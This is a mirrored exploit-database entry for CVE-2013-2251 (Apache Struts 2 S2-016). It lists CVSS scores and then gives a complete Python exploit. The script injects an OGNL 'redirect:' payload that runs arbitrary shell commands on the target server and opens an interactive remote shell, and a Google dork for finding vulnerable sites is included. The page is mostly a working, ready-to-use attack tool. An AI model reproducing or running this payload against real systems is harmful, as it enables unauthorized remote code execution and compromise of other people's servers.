Apache Struts 2 Remote Code Execution
2020-10-21 14:48:52 Author: cxsecurity.com(查看原文) 阅读量:152 收藏

Apache Struts 2 Remote Code Execution

CVSS Base Score: 9.3/10

Impact Subscore: 10/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Complete

Integrity impact: Complete

Availability impact: Complete

# Exploit Title: Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution # Google Dork: ext:action | filetype:action # Date: 2020/09/09 # Exploit Author: Jonatas Fil # Vendor Homepage: http://struts.apache.org/release/2.3.x/docs/s2-016.html # Version: <= 2.3.15 # Tested on: Linux # CVE : CVE-2013-2251 #!/usr/bin/python # # coding=utf-8 # # Struts 2 DefaultActionMapper Exploit [S2-016] # Interactive Shell for CVE-2013-2251 # # The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with # "action:" or "redirect:", followed by a desired navigational target expression. This mechanism was intended to help with # attaching navigational information to buttons within forms. # # https://struts.apache.org/docs/s2-016.html # Jonatas Fil (@exploitation) import requests import sys import readline # Disable SSL requests.packages.urllib3.disable_warnings() # ShellEvil if len(sys.argv) == 2: target = sys.argv[1] # Payload first = target + "?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','" second = "'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}" loop = 1 while loop == 1: cmd = raw_input("$ ") while cmd.strip() == '': cmd = raw_input("$ ") if cmd.strip() == '\q': print("Exiting...") sys.exit() try: headers = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36"} pwn=requests.get(first+cmd+second,headers = headers,verify=False) # Disable SSL if pwn.status_code == 200: print pwn.content # 1337 else: print("Not Vuln !") sys.exit() except Exception,e: print e print("Exiting...") sys.exit() else: # BANNER print(''' __ _ _ _ __ _ _ / _\ |__ ___| | | /__\_ _(_) | \ \| '_ \ / _ \ | |/_\ \ \ / / | | _\ \ | | | __/ | //__ \ V /| | | \__/_| |_|\___|_|_\__/ \_/ |_|_| by Jonatas Fil [@explotation] ''') print("======================================================") print("# Struts 2 DefaultActionMapper Exploit [S2-016] #") print("# USO: python struts.py http://site.com:8080/xxx.action #") print("======================================================") print("bye") sys.exit()



 

Thanks for you comment!
Your message is in quarantine 48 hours.

{{ x.nick }}

|

Date:

{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1


{{ x.comment }}


文章来源: https://cxsecurity.com/issue/WLB-2020100134
如有侵权请联系:admin#unsafe.sh